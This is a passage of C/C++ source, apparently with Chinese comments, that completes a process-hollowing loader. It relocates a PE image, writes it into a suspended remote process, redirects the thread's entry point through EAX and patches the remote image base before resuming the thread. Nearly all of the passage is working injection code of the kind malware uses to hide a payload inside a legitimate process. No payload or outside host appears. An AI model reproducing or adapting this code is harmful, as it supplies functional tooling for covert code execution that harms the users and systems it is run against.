\n",*ptmp); } } printf("\n"); pImageBaseRelaction=PIMAGE_BASE_RELOCATION((DWORD)pImageBaseRelaction+pImageBaseRelaction->SizeOfBlock); } } DWORD writeRes=NULL; WriteProcessMemory(myProcessInfo.hProcess,pRemoteImageBase,pImageBuffer,pNTHeader->OptionalHeader.SizeOfImage,&writeRes); printf("The pointer address of remote process is %x , write memory result is %x \n",pRemoteImageBase,writeRes); context.Eax = (DWORD)(pNTHeader->OptionalHeader.AddressOfEntryPoint) + (DWORD)pRemoteImageBase;//修改context的OEP ::SetThreadContext(myProcessInfo.hThread,&context); printf("context.eax = %x \n",context.Eax); //修改远程进程的ImageBase LPVOID baseAddress=NULL; baseAddress = (LPVOID)(context.Ebx+8); printf("remote base addr is %x !\n",baseAddress); WriteProcessMemory(myProcessInfo.hProcess,baseAddress,&pRemoteImageBase,sizeof(pRemoteImageBase),NULL); ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL); printf("remote base addr is %x !\n",dwRemoteImageBase); ResumeThread(myProcessInfo.hThread); }else{ printf("Get memory failed!"); } //free(pfileBuffer); return 0; //return 0; }